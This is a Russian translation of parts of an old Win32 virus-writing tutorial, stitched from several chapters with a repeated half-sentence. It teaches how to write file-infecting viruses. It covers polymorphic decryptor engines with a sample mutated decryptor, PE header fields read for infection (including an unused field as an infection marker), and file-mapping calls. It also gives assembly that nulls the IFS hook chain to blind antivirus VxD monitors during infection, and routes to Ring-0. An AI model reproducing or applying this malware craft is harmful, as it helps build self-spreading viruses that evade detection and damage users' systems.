mov byte ptr [ebp+count],al ; Сохраняем его mov ecx,eax ; ECX = Регистр-счетчик

@@3: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7]

cmp eax,4 ; Это ESP? jz @@3 ; Если да, получаем другой

cmp eax,ebx ; Равен регистру базового указ.? jz @@3 ; Если да, получаем другой

cmp eax,ecx ; Равен регистру-счетчику? jz @@3 ; Если да, получаем другой

mov byte ptr [ebp+key],al ; Сохраняем его

ret

InitPoly endp -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, используемых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров.


Это очень легко. Мы должны


Это очень легко. Мы должны использовать функцию API "MessageBoxA", поэтому мы определяем ее с помощью команды "extrn", а затем помещаем параметры в стек и вызываем эту функцию. Обратите внимание, что строки должны быть в формате ASCIIZ (ASCII, 0). Помните, что параметры должны помещаться в стек в перевернутом порядке.

;---[ CUT HERE ]-------------------------------------------------------------

.386 ; Процессор (386+) .model flat ; Использует 32-х битные ; регистры

extrn ExitProcess:proc ; Функции API, которые extrn MessageBoxA:proc ; использует программа

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; С помощью директивы "extrn" мы указываем, какие API мы будем использовать; ; ExitProcess возвращает контроль операционной системе, а MessageBoxA ; ; показывает классическое виндовозное сообщение. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

.data szMessage db "Hello World!",0 ; Message for MsgBox szTitle db "Win32 rocks!",0 ; Title of that MsgBox

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Здесь мы не будем помещать данные настоящего вируса. Фактически, только ; ; из-за того, что TASM отказывается ассемблировать код, если мы не поместим; ; здесь какие-нибудь данные. Как бы то ни было... Помещайте здесь данные ; ; 1-го поколения носителя вашего вируса. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

.code ; Поехали!

HelloWorld: push 00000000h ; Стиль MessageBox push offset szTitle ; Заголовок MessageBox push offset szMessage ; Само сообщение push 00000000h ; Хэндл владельца

call MessageBoxA ; Вызов функции

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; int MessageBox( ; ; HWND hWnd, // хэндл окна-владельца ; ; LPCTSTR lpText, // адрес текста сообщения ; ; LPCTSTR lpCaption, // адрес заголовка MessageBox'а ; ; UINT uType // стиль MessageBox'а ; ; ); ; ; ; ; Мы помещаем параметры в стек до вызова самой API-функции, и если вы ; ; помните, стек построен согласно принципу LIFO (Last In First Out), ; ; поэтому мы должны помещать параметры в перевернутом порядке (при всем ; ; уважении к автору данного туториала, я должен сказать, что он не прав ; ; вовсе не поэтому мы должны помещать данные в перевернутом порядке - прим.; ; пер.). Давайте посмотрим на краткое описание каждого из параметров этой ; ; функции: ; ; ; ; ¦ hWnd: идентифицирует окно-владельца messagebox'а, который должен быть ; ; создан. Если этот параметр равняется NULL, у окна с сообщением не будет; ; владельца. ; ; ¦ lpText: указывает на ASCIIZ-строку, содержащую сообщение, которое нужно; ; отобразить. ; ; ¦ lpCaption: указывает на ASCIIZ-строку, содержащую заголовок окна ; ; сообщения. Если этот параметр равен NULL, будет использован заголовок ; ; по умолчанию. ; ; ¦ uType: задает флаги, которые определяют содержимое и поведение ; ; диалогового окна. Это параметр может быть комбинацией флагов. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;



push 00000000h call ExitProcess

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; VOID ExitProcess( ; ; UINT uExitCode // код выхода для всех ветвей ; ; ); ; ; ; ; Эта функция эквивалентна хорошо известному Int 20h или функциям 00, 4С ; ; Int 21h. Она просто завершает выполнение текущего процесса. У нее только ; ; один параметр: ; ; ; ; ¦ uExitcode: задает код выхода для процесса и всех ветвей, выполнение ; ; которых будет прервано вызовом данной функции. Используйте функцию ; ; GetExitCodeProcess, чтобы получить код возврата процесса, а функцию ; ; GetExitCodeThread, чтобы получить код возврата треда. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

end HelloWorld

;---[ CUT HERE ]-------------------------------------------------------------

Как вы можете видеть, это все очень просто программируется. а теперь, когда вы знаете, как сделать "Hello, world!", вы можете заразить весь мир ;).


IMAGE_FILE_HEADER


Я дам краткое описание (резюме того, что сказал в своем прекрасном документе о формате PE-файла Мэтт Питрек) полей IMAGE_FILE_HEADER.

¤ PE\0\0:

Это метка, которая есть у каждого PE-файла. Просто проверяйте ее существование при заражении файла. Если метки нет, то это не PE-файл, ок?

¤ Машина:

Так как компьютером, который мы используем может быть несовместим с PC (теоретически), а PE-файлы могут быть и на таких компьютерах, в этом поле указывается тип машины, для которой предназначается приложение. Это может быть одно из следующих значений:

IMAGE_FILE_MACHINE_I386 equ 14Ch ; Intel 386. IMAGE_FILE_MACHINE_R3000 equ 162h ; MIPS little-endian,160h big-endian IMAGE_FILE_MACHINE_R4000 equ 166h ; MIPS little-endian IMAGE_FILE_MACHINE_R10000 equ 168h ; MIPS little-endian IMAGE_FILE_MACHINE_ALPHA equ 184h ; Alpha_AXP IMAGE_FILE_MACHINE_POWERPC equ 1F0h ; IBM PowerPC Little-Endian

¤ Количество секций:

Это поле играет важную роль при заражении. Оно сообщает, сколько секций в файле.

¤ Временной штамп:

Содержит количество секунд, которое прошло с декабря 31-ого 1969 года с 4:00 до того момента, когда файл был слинкован.

¤ Указатель на таблицу символов

Не интересно, поскольку используется только в OBJ-файлах.

¤ Количество символов:

Не интересно, поскольку используется только в OBJ-файлах.

¤ Размер опционального заголовка:

Содержит количество байтов, которое занимает IMAGE_OPTIONAL_HEADER (смотри описание

¤ Характеристики:

Флаг дает нам еще кое-какую информацию о файле. Нам это не интересно.



IMAGE_OPTIONAL_HEADER


¤ Magic:

Так как это поле всегда равно 010Bh, похоже, что это какая-то сигнатура. Не интересно.

¤ Старшая и младшая версии линкера:

Версия линкера, который создал файл. Не интересно.

¤ Размер кода:

Количество байт (округленное) во всех секциях, содержащих исполняемый код.

¤ Размер инициализированных данных:

Предполагается, что здесь должен указываться общий размер всех секций с инициализированными данными.

¤ Размер неинициализированных данных:

Неинициализированные данные не занимают места на винте, но когда система загружает файл, она выделяет ему некоторое количество памяти (виртуальную память).

¤ Адрес точки входа:

Где загрузчик начнет выполнение кода. Это RVA относительно базы образа, когда система загружает файл. Очень интересно.

¤ База кода:

RVA, откуда начинаются секции файла с кодом. Секции с кодом обычно идут до секций с данными и после PE-заголовка. Для файлов, произведенных с помощью микрософтовских линкеров, этот RVA обычно равен 0x1000. TLINK32, похоже, добавляет к этому RVA базу образа и сохраняет результат в данном поле.

¤ База данных

RVA, откуда начинаются секции с данными. Они обычно идут последними после PE-заголовка и секций с кодом.

¤ База образа:

Когда линкер создает экзешник, он предполагает, что файл будет промэппирован в определенное место в памяти. Этот адрес и хранится в данном поле, делая возможным определенную оптимизацию со стороны линкера. Если файл действительно промэппирован по этому адресу, код не нуждается в каком-либо патчении перед запуском. В экзешниках, компилируемых для Windows NT, база образа по умолчанию равна 0x10000, а для DLL он по умолчанию равен 0x400000. В Win9x адрес 0x10000 не может использоваться при загрузке 32-х битных EXE, так как он находится внутри региона, разделяемого всеми процессами. Из-за этого Микрософт изменил адрес базы по умолчанию на 0x400000.

¤ Выравнивание секций:

При мэппировании секции выравниваются таким образом, чтобы они начинались с виртуального адреса, кратного данному значению. Выравнивание секций по умолчанию равно 0x1000.


¤ Файловое выравнивание:

В PE-файле raw-данные, представляющие каждую из секций, начинаются со значения, кратного данному параметру. По умолчанию он равен 0x200, вероятно, потому что тогда секции будут начинаться с начала сектора диска (который также равен 0x200 байтам). Это поле эквивалентно размеру выравнивания сегментов/ресурсов в NE-файлах. В отличии от NE-файлов, PE-файлы не имеют сотен секций, поэтому на файловое выравнивание уходит очень мало место.

¤ Старшая и младшая версии операционной системы:

Минимальная версия операционной системы, которая требуется для использования данной программы. Назначение данного поля не совсем ясно, так как поля подсистемы служат, похоже, той же самой цели. Это поле по умолчанию равно 1.0.

¤ Младшая и старшая версии образа:

Задаваемое пользователем поле. Оно позволяет вам иметь разные версии EXE или DLL. Вы можете установить значения этих полей с помощью опции линкера /VERSION. Например "LINK /VERSION:2.0 myobj.obj".

¤ Старшая и младшая версии подсистемы:

Содержат минимальную версию подсистемы, которая требуется для запуска данной программы. Типичное значение этого поля - 3.10 (что означает Windows NT 3.1).

¤ Зарезервировано1:

Похоже, что оно всегда равно 0 (идеально для метки заражения).

¤ Размер образа:

Похоже, что это полный размер всех частей образа, о которых должен позаботиться загрузчик. Это размер региона, начинающегося от базы образа до конца последней секции, который округляется до ближайшего числа, кратного выравниванию секций.

¤ Размер заголовков:

Размер PE-заголовка и таблицы секций (объектов). Raw-данные секций начинаются непосредственно после всех компонентов заголовка.

¤ Чексумма:

Предположительно CRC файла. Как и в других микрософтовских форматах исполняемых файлов, это поле игнорируется и устанавливается в 0. Есть одно исключение из этого правила: в доверенных (trusted) сервисах и EXE это поле должно содержать верную чексумму.

¤ Подсистема:

Тип подсистемы, используемой приложением для пользовательского интерфейса.



NATIVE 1 Не требует подсистемы (например драйвер устройства) WINDOWS_GUI 2 Выполняется в подсистеме Windows GUI WINDOWS_CUI 3 Выполняется в символьной подсистеме Windows (консольное приложение) OS2_CUI 5 Выполняется в символьной подсистеме OS/2 (только OS/2 1.x) POSIX_CUI 7 Выполняется в символьной подсистеме Posix

¤ Характеристики DLL:

Набор флагов, задающий при каких условиях будет вызываться функция инициализации DLL (например DLLMain). Похоже, что это значение всегда равно 0, тем не менее операционная система вызывает инициализацию DLL для всех 4-х событий.

1 Вызывать инициализацию, когда DLL впервые загружается в адресное пространство процесса 2 Вызывать инициализацию, когда тред завершает работу 4 Вызывать инициализацию, когда тред начинает работу 8 Вызывать инициализацию, когда DLL завершает свою работу

¤ Размер зарезервированного стека:

Количество виртуальной памяти, резервируемой для начального стека треда. Тем не менее, не вся эта память выделяется (смотри следующее поле). Это поле по умолчанию равно 0x100000. Если вы укажете 0 в качестве размера стека при создании треда функцией CreateThread, именно столько будет занимать стек нового треда.

¤ Размер выделенного стека:

Количество памяти, выделяемой для начального стека треда. Это поле по умолчанию равно 0x1000 (1 страница) у Microsoft Linker, в то время как TLINK32 делает это поле равным двум страницам.

¤ Размер зарезервированной кучи:

Количество виртуальной памяти, которое необходимо зарезервировать для начальной кучи процесса. Этот хэндл кучи можно получить, вызывав GetProcessHeap. Нет вся эта память выделяется (смотри следующее поле).

¤ Размер выделенной кучи:

Количество памяти, изначально выделяемой для кучи процесса. По умолчанию - одна страница.

¤ Флаги загрузчика:

Согласно WINNT.H эти поля относятся к поддержке отладки. Я никогда не видел экзешника с установленными битами этого поля, да и как заставить линкер их установить не совсем понятно.

1. Вызвать инструкцию точки прерывания перед запуском процесса 2. Вызвать отладчик после того, как процесс будет загружен в память

¤ Number Of Rva And Sizes:

Количество элементов в массиве DataDirectory (ниже). Современные компиляторы всегда устанавливает это поле равным 16.


IMAGE_SECTION_HEADER


¤ Имя секции:

Это 8-ми байтовое имя в формате ANSI (UNICODE), которая задает имя секции. Большая часть имен секций начинается с "." (например ".text"), но это не обязательное требование как утверждают некоторые руководства по формату PE. Вы можете назвать вашу секцию как хотите с помощью специальной директивы ассемблера или с помощью "#pragma data_seg" и "#pragma code_seg" в Microsoft C/C++ компиляторе. Важно учитывать, что если имя секции занимает 8 байт, то в конце не будет NULL-байта. Вы можете использовать %.8s с функцией printf, чтобы скопировать строку в другой буфер и добавить NULL в конце.

¤ Виртуальный размер:

Значение этого файла отличается в EXE и OBJ. В EXE он содержит реальный размер код или данных. Это размер до округления до ближайшего числа, кратного файловому выравниванию. Поле SizeOfRawData 'размер raw-данных' (похоже, названное не совсем верно) содержит округленное значение. Линкер Borland'а меняет значения этих двух полей и похоже, что он прав. Для OBJ файлов этой поле означает физический адрес секции. Первая секция начинается с адреса 0. Чтобы найти физический адрес следующей секции в OBJ-файле, добавьте значение SizeOfRawData к физическому адресу текущих секции.

¤ Виртуальный адрес:

В EXE это поле содержит RVA на то место, куда загрузчику следует промэппировать секцию. Чтобы посчитать реальный стартовый адрес данной секции в памяти и добавьте базовый адрес образа к виртуальному адресу (поле VirtualAddress). Микрософтовские инструменты по умолчанию указывают на RVA 0x1000. В OBJ'ах это поле не имеет значения и установлено в 0.

¤ Размер raw-данных:

В EXE это поле содержит округленный до кратного файловому выравниванию числа размер секции. Например, предположим, что файловое выравнивание равно 0x200. Если поле VirtualSize содержит значение 0x35A, в этом поле будет находиться 0x400. В OBJ'ах это поле содержит точный размер секции, созданной компилятором или ассемблером. Другими словами для OBJ это поле играет ту же роль, что и виртуальный размер в EXE.


¤ Указатель на raw-данные:

Это смещение на raw-данные, которое меняется от файла к файлу. Если ваша программа самостоятельно загружает файл PE или COFF в память (вместо того, чтобы позволить сделать это операционной системе), это поле более важно, чем VirtualAddress - по этому смещению вы найдете данные секций, а не по RVA, указанном в поле виртуального адреса.

¤ Указатель на релокейшены:

В OBJ'ах это смещение на информацию о релокейшенах данной секции. Информация о релокейшенах каждой секции OBJ следует непосредственно за raw-данными этой секции. В EXE это поле не имеет значения (как и следующее поле) и установлено в ноль. Когда линкер создает EXE, он устанавливает большую часть адресных записей (fixups), и только релокейшены адреса базы и импортируемых функций устанавливаются во время загрузки. Информация о релокейшенах базы и импортируемых функций находится в специальных секциях, поэтому в EXE нет необходимости держать информацию о релокейшенах после каждой секции raw-данных.

¤ Указатель на номера строк:

Это смещение на таблице номеров строк. Эта таблица соотносит номера строк исходного кода со сгенерированным кодом для каждой конкретной строки. В современных отладочных форматах, таких как формат CodeView, информация о номерах строк хранится как часть отладочной информации. В отладочном формате COFF, тем не менее, информация о номерах строк хранится отдельно от символьной информации о именах/типах. Обычно только секциим кода (такие как .text) требуется данная информация. В EXE-файлах номера строк собираются ближе к концу файла после raw-данных секций. В OBJ-файлах таблица номеров строк для секций находится после секции данных и таблицы релокейшенов для этой секции.

¤ Количество релокейшенов:

Количество релокейшенов в соответствующей таблице для данной секции (поле PointerToRelocations - 'указатель на релокейшены'). Похоже, что данное поле содержит верные данные только в OBJ'ах.

¤ Количество номеров строк:

Количество номеров строк в соответствующей таблице для данной секции.



¤ Характеристики:

То, что большинство программистов называет флагами, формат COFF/PE называет характеристиками. Это поле является множеством флагов, которые задают атрибуты секции (такие как код/данные, доступно ли для чтения или для записи). Чтобы получить полный список всех возможных аттрибутов секций, смотрите IMAGE_SCN_XXX_XXX #defin'ы в WINNT.H. Некоторые из важных флагов приведены ниже:

0x00000020 Эта секция содержит код. Обычно устанавливается вместе с флагом выполняемого кода (0x80000000).

0x00000040 Эта секция содержит инициализированные данные. Этот флаг есть почти у всех секций кроме секции выполняемого кода и .bss.

0x00000080 Эта секция содержит неинициализированные данные (например секция .bss).

0x00000200 Эта секция содержит комментарии или другой тип информации. Типичное использование данной секции - это секция .drectve, добавляемая компилятором и содержащая команды для линкера.

0x00000800 Содержимое этой секции не должно помещаться в конечный EXE-файл. Эти секции используются компилятором/ассемблером, чтобы передать информацию линкеру.

0x02000000 Эту секция можно выгрузить из памяти после загрузки (например секция с релокейшенами - .reloc).

0x10000000 Эта секция является разделяемой. Если используется вместе с DLL, данные в этой секции будут разделяться всеми процессами, ее использующими. По умолчанию секции данных являются неразделяемыми, и это означает, что каждый процесс, использующий DLL получает свою собственную копию этой секции данных. Если использовать техническую терминологию, флаг разделяемости говорит менеджеру загрузки, чтобы тот установил мэппинги страниц таким образом, чтобы все процессы, использующие DL ссылались на одну и ту же физическую страницу в памяти. Чтобы сделать секцию разделямой, используйте аттрибут SHARED во время линковки. Например:

LINK /SECTION:MYDATA,RWS ...

говорит линкеру, что секция под названием MYDATA должна быть доступной для чтения и записи, а также быть разделяемой.

0x20000000 Эта секция является исполняемой. Этот флаг обычно устанавливается везде, где установлен флаг кода (0x00000020).

0x40000000 Эта секция доступня для чтения. Этот флаг установлен почти для всех секций EXE-файла.

0x80000000 Эта секция доступна для записи. Если этот флаг не установлен в секции EXE, загрузчик должен пометить промэппированные страницы как доступные только для чтения или выполнения. Обычно такой аттрибут есть у секций .data и .bss. Что интересно, у секции .idata этот атрибут тоже установлен.


Изменения между 16-ти и 32-х битным программированием


Как правило мы будем работать с двойными словами вместо слов, и это открывает перед нами новые возможности. У нас есть на два сегмента больше, кроме уже известных CS, DS, ES и SS: FS и GS. И у нас есть новые 32-х битные регистры: EAX, EBX, ECX, EDX, ESI, EDI, EBP и ESP. Давайте посмотрим, как играть с регистрами: представьте, что у нас есть доступ к нижнему слову EAX. Что мы можем сделать? До этой части можно добраться с помощью AX, который и является нижним словом EAX. Например, EAX = 00000000, а мы хотим поместить 1234h в его нижнее слово. Мы просто должны сделать "mov ax, 1234h" и все. Но что, если нам нужен доступ к верхнему слову EAX? Для этих целей мы не можем использовать регистр: мы должны прибегнуть к какой-нибудь из инструкций вроде ROL (или SHL, если значение нижнего слова для нас неважно).

Давайте продолжим и рассмотрим типичную программу, которую пишет кодер, изучая новый язык: "Hello, world!" :).



Как я могу сделать полиморф?


Во-первых, вы должны представлять себе, как выглядит расшифровщик. Например:

mov ecx,virus_size lea edi,pointer_to_code_to_crypt mov eax,crypt_key @@1: xor dword ptr [edi],eax add edi,4 loop @@1

Очень простой пример, да? Ладно, здесь у нас шесть блоков (каждая инструкция - это блок). Представьте, как много у вас возможностей сделать этот код другим:

- Изменять регистры - Изменять порядок первых трех инструкций - Использовать разные инструкции, чтобы делать одно и то же - Вставить ничего не делающие инструкции - Вставить мусор и так далее

Это основная идея полиморфизма. Давайте посмотрим, что может сгенерировать простой полиморфный движок на основе того же декриптора:

shl eax,2 add ebx,157637369h imul eax,ebx,69 (*) mov ecx,virus_size rcl esi,1 cli (*) lea edi,pointer_to_code_to_crypt xchg eax,esi (*) mov eax,crypt_key mov esi,22132546h and ebx,0FF242569h (*) xor dword ptr [edi],eax or eax,34548286h add esi,76869678h (*) add edi,4 stc push eax xor edx,24564631h pop esi (*) loop 00401013h cmc or edx,132h [...]

Вы уловили идею? Конечно, поймать антивирусу подобный декриптор не будет слишком трудно (хотя и значительно труднее, чем незащищенный вирус). Здесь можно сделать много улучшений, поверьте мне. Я думаю, что вы уже поняли, что в вашем полиморфном движке нам понадобятся разные процедуры: одна для создания "легитимных" инструкций декриптора, а другая - для создания мусора. Это основная идея написания полиморфных движков. С этого момента я попытаюсь объяснить все это настолько хорошо, насколько могу.



Как компилировать программы


Черт, я почти забыл об этом :). Используются обычные параметры для компиляции ассемблерной программы под Win32. Все примеры в данном туториале компилируются со следующими параметрами (где 'program' - это имя файла .asm, но без какого-либо расширения):

tasm32 /m3 /ml program,,; tlink32 /Tpe /aa program,program,,import32.lib pewrsec program.exe

Я надеюсь, что это достаточно ясно. Вы также можете использовать make-файлы или написть .bat, который будет делать все автоматически (как сделал я!).

  [C] Billy Belcebu, пер. Aquila

<<< Назад Вперед >>>



-> Как откpыть файл для чтения и записи?


Для этого мы используем функцию CreateFileA. Пpедлагаемые паpаметpы следующие:

push 00h ; hTemplateFile push 00h ; dwFlagsAndAttributes push 03h ; dwCreationDistribution push 00h ; lpSecurityAttributes push 01h ; dwShareMode push 80000000h or 40000000h ; dwDesiredAccess push offset filename ; lpFileName call CreateFileA

+ У dwCreationDistribution есть несколько интеpесных значений:

CREATE_NEW = 01h CREATE_ALWAYS = 02h OPEN_EXISTING = 03h OPEN_ALWAYS = 04h TRUNCATE_EXISTING = 05h

Так как мы хотим откpыть уже существующий файл, мы используем OPEN_EXISTING, то есть 03h. Если для сових нужд нам понадобится откpыть вpеменный файл, мы используем дpугое значение, такое как CREATE_ALWAYS.

+ dwShareMode следует быть pавным 01h, в любом случае мы можем выбиpать только из следующих значений:

FILE_SHARE_READ = 01h FILE_SHARE_WRITE = 02h

Таким обpазом мы позволяем читать из откpытого нами файла, но не писать туда!

+ dwDesireAccess опpеделяет паpаметpы доступа к файлу. Мы используем C0000000h, это сумма GENERIC_READ и GENERIC_WRITE, что означает, что нам нужны оба вида доступа :) Вот, смотpите:

GENERIC_READ = 80000000h GENERIC_WRITE = 40000000h

** Этот вызов возвpатит нам 0xFFFFFFFF, если пpоизошла ошибка. Если таковой не случилось, нам будет возвpащен хэндл откpытого файла, котоpый мы сохpаним в соответствующей пеpеменной. Для закpытия этого хэндла (когда потpебуется) мы используем функцию CloseHandle.



-> Как создавать мэппинг откpытого файла?


Для этого служит CreateFileMappingA. Пpедлагаемые паpаметpы следующие:

push 00h ; lpName push size_to_map ; dwMaximumSizeLow push 00h ; dwMaximumSizeHigh push 04h ; flProtect push 00h ; lpFileMappingAttributes push file_handle ; hFile call CreateFileMappingA

+ lpName и lpFileMappingAttributes лучше делать pавными 0.
+ dwMaximumSizeHigh лучше делать pавным 0
+ dwMaximumSizeLow - это pазмеp будущего пpомэппиpованного объекта
+ flProtect может быть одним из следующих значений:

PAGE_NOACCESS = 00000001h PAGE_READONLY = 00000002h PAGE_READWRITE = 00000004h PAGE_WRITECOPY = 00000008h PAGE_EXECUTE = 00000010h PAGE_EXECUTE_READ = 00000020h PAGE_EXECUTE_READWRITE = 00000040h PAGE_EXECUTE_WRITECOPY = 00000080h PAGE_GUARD = 00000100h PAGE_NOCACHE = 00000200h

Я пpедлагаю вам использовать PGE_READWRITE, что позволит читать и/или писать без каких-либо пpоблем.

+ hFile - это хэндл откpытого pанее файла, котоpый мы хотим пpомэппиpовать.

** Вызов этого API возвpатит нам значение NULL в EAX в случае неудачи; в пpотивном случае нам будет возвpащен хэндл мэппинга. Мы сохpаним его в соответствующей пеpеменной. Чтобы закpыть хэндл мэппинга, следует использовать функцию CloseHandle.

-> Как пpомэппиpовать файл в адpесное пpостpанство пpоцесса?

Следует использовать функцию MapViewOfFile. Пpедлагаемые паpаметpы следующие:

push size_to_map ; dwNumberOfBytesToMap push 00h ; dwFileOffsetLow push 00h ; dwFileOffsetHigh push 02h ; dwDesiredAccess push map_handle ; hFileMappingObject call MapViewOfFile

+ dwFileOffsetLow и dwFileOffsetHigh следует делать pавными 0
+ dwNumberOfBytesToMap - это количество мэппиpуемых байтов файла
+ dwDesiredAccess может быть одним из следующих значений:

FILE_MAP_COPY = 00000001h FILE_MAP_WRITE = 00000002h FILE_MAP_READ = 00000004h

Я пpедлагаю FILE_MAP_WRITE.

+ hFileMappingObject должен быть хэндлом мэппинга, возвpащенным пpедыдущим вызовом CreateFileMappingA.

** Эта функция возвpатит нам NULL, если пpоизошла какая-нибудь ошибка, в пpотивном случае нам будет возвpащен адpес мэппинга. Чтобы закpыть этот адpес, нужно использовать функцию UnmapViewOfFile.

-> Как закpыть хэндл файла и хэндл мэппинга?

Мы должны использовать функцию CloseHandle.

push handle_to_close ; hObject call CloseHandle

** Если закpытие пpошло успешно, нам будет возвpащена 1.



-> Как закpыть адpес мэппинга?


Вам нужно использовать функцию UnmapViewOfFile.

push mapping_address ; lpBaseAddress call UnmapViewOfFile

** Если закpытие пpошло успешно, нам будет возвpащена 1.

  [C] Billy Belcebu, пер. Aquila

<<< Назад Вперед >>>



Код против VxD-мониторов


Ох, я должен не забыть упомянуть о парне, который обнаружил это: Super/29A. Теперь я должен объяснить в чем состоит эта крутая вещь. Это относится к уже рассматривавшемуся сервису InstallFileSystemApiHook, но не документировано ребятами из Micro$oft. Сервис InstallFileSystemApiHook возвращает нам интересную структуру:

EAX + 00h -> Адрес предыдущего обработчика EAX + 04h -> Структура Hook_Info

Самое важно в этой структуре следующее:

00h -> Адрес хук-обработчика 04h -> Адрес хук-обработчика от предыдущего обработчика 08h -> Адрес Hook_Info от предыдущего обработчика

Поэтому мы делаем рекурсивный поиск по структурам, пока не найдем самый первый, использующийся мониторами... И затем мы должны обнулить его. Код? Вот вам порция :) :

; EDI = Указывает на копию вируса в системной куче

lea ecx,[edi+New_Handler] ; Устанавливаем хук файловой системы push ecx @@2: VxDCall IFSMgr_InstallFileSystemApiHook pop ecx

xchg esi,eax ; ESI = Указатель на текущий ; обработчик push esi lodsd ; add esi,4 ; ESI = Указатель на хук-обработчик tunnel: lodsd ; EAX = Предыдущий хук-обработчик ; ESI = Указатель на Hook_Info xchg eax,esi ; Очень чисто :)

add esi,08h ; ESI = 3ий dword в структуре: ; предыдущий Hook_Info

js tunnel ; Если ESI < 7FFFFFFF, это был ; последний :) ; EAX = самый верхний Hook_Info

mov dword ptr [edi+ptr_top_chain],eax ; Сохр. в перем. в памяти pop eax ; EAX = Посл. хук-обр. [...]

Не беспокойтесь, если вы не поймете это в первый раз: представьте, сколько я затратил времени, читая код Sexy, чтобы понять это! Ладно, мы сохранили в переменную самый верхний Hook_Info, но теперь нам надо обнулить его на время заражения, а потом восстановить. Следующий фрагмент код должен находиться между проверкой запроса системы на открытие файла и вызовом процедуры заражения файла.

lea esi,dword ptr [ebx+top_chain] ; ESI = указ. на сохр. перем. lodsd ; EAX = верхний Hook_Info xor edx,edx ; EDX = 0 xchg [eax],edx ; Top Chain = NULL ; EDX = адрес верх. Hook_Info pushad call Infection popad

mov [eax],edx ; Восст. верх. Hook_Info

Это было легко, правда? :)



Кольца


Я знаю, что все вы очень боитесь того, что сейчас последует, но, как продемонстрирую, все это на самом деле несложно. Вы должны уяснить: у процессора четыре уровня привилегий: Ring-0, Ring-1, Ring-2 и Ring-3, причем последний имеет больше всего ограничений, а первый подобен Валгалле для кодеров, почти полная свобода действий. Вспомните DOS, где мы всегда программировали в Ring-0... А теперь подумайте, что вы сможете делать то же самое под платформами Win32... Ладно, прекратим мечтать и начнем работать.

Ring-3 - это т.н. "пользовательский" уровень, на котором у нас множество ограничений. Кодеры Microsoft сделали ошибку, когда зарелизили Win95 и сказали, что она "незаражаема". Это было продемонстрировано еще до начала продаж системы Bizatch (которых еще неверно называли Boza, но это другая история). Программисты Microsoft думали, что вирус не сможет добраться до API. Но они не подумали об интеллектуальном превосходстве вирмейкеров... Конечно, мы можем писать вирус и на пользовательском уровне. Достаточно взглянуть на массу новых Win32 вирусов времени выполнения, которые релизятся в настоящее время, они все сделаны под Ring-3... Не поймите меня неверно, я не говорю, что это плохо, и между прочим, только Ring-3 вирусы могут работать под всеми версиями Win32. Они - будущее... в основном из-за того, что скоро будет релиз Windows NT 5.0 (или Windows 2000). Для успешной жизни вируса мы должны найти функции API (то, что написали Bizatch, размножалось плохо, потому что они "захардкодили" адреса API-функций, а они отличаются от версии к версии Windows), что мы можем сделать несколькими способами, о которых я расскажу позже.

Ring-0 - это другая история, очень отличная от Ring-3. Это уровень, на котором работает ядро. Разве это не прекрасно? Мы можем иметь доступ к портам, к местам, о которых не могли мечтать раньше... это почти что оргазм. Мы не можем выйти в Ring-0 без использования одного из специальных способов, таких как модификация IDT, техника "Call Gate", показанная SoPinKy/29A в 29A#3 или вставки в VMM, техника, продемонстрированная в вирусах Padania или Fuck Harry. Нам не нужны API-функции, так как мы работает напрямую с сервисами VxD и похоже, что их адреса одни и те же во всех версиях Win9x, поэтому мы можем их указывать явно. Я расскажу об этом подробнее во главе, посвященной Ring-0.



Мультитредность


Когда мне сказали, что в среде Win32 это очень легко сделать, мне пришло в голову, что это можно использовать для различных целей: выполнение кода во время выполнения другого кода (тоже из нашего вируса). Это было бы очень полезно, так как сэкономит вам время :).

Ок, основное назначение мультизадачной процедуры следующее:

    Создайте соответствующую ветвь кода, которую вы хотите запустить Подождите, пока дочерний процесс закончится в коде родительского процесса

Это кажется трудноватым, но здесь есть две API-функции, которые могут нас спасти. Их имена: CreateThread и WaitForSingleObject. Давайте посмотрим, что об этих функция говорит справочник по Win32 API.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Функция CreateThread создает тред, выполняющийся внутри адресного пространства вызывающего функцию процесса.

HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, // указ. на аттр. безоп. треда DWORD dwStackSize, // нач. размер стека треда в байтах LPTHREAD_START_ROUTINE lpStartAddress, // указатель на функцию треда LPVOID lpParameter, // аргументы для нового треда DWORD dwCreationFlags, // флаги создания LPDWORD lpThreadId // указатель на возвращенный идентификатор треда );

Параметры ---------

• lpThreadAttributes: указатель на структуру SECURITY_ATTRIBUTES, которая определяет, сможет ли возвращенный хэндл наследоваться дочерним процессом. Если lpThreadAttributes равен NULL, хэндл не может наследоваться.

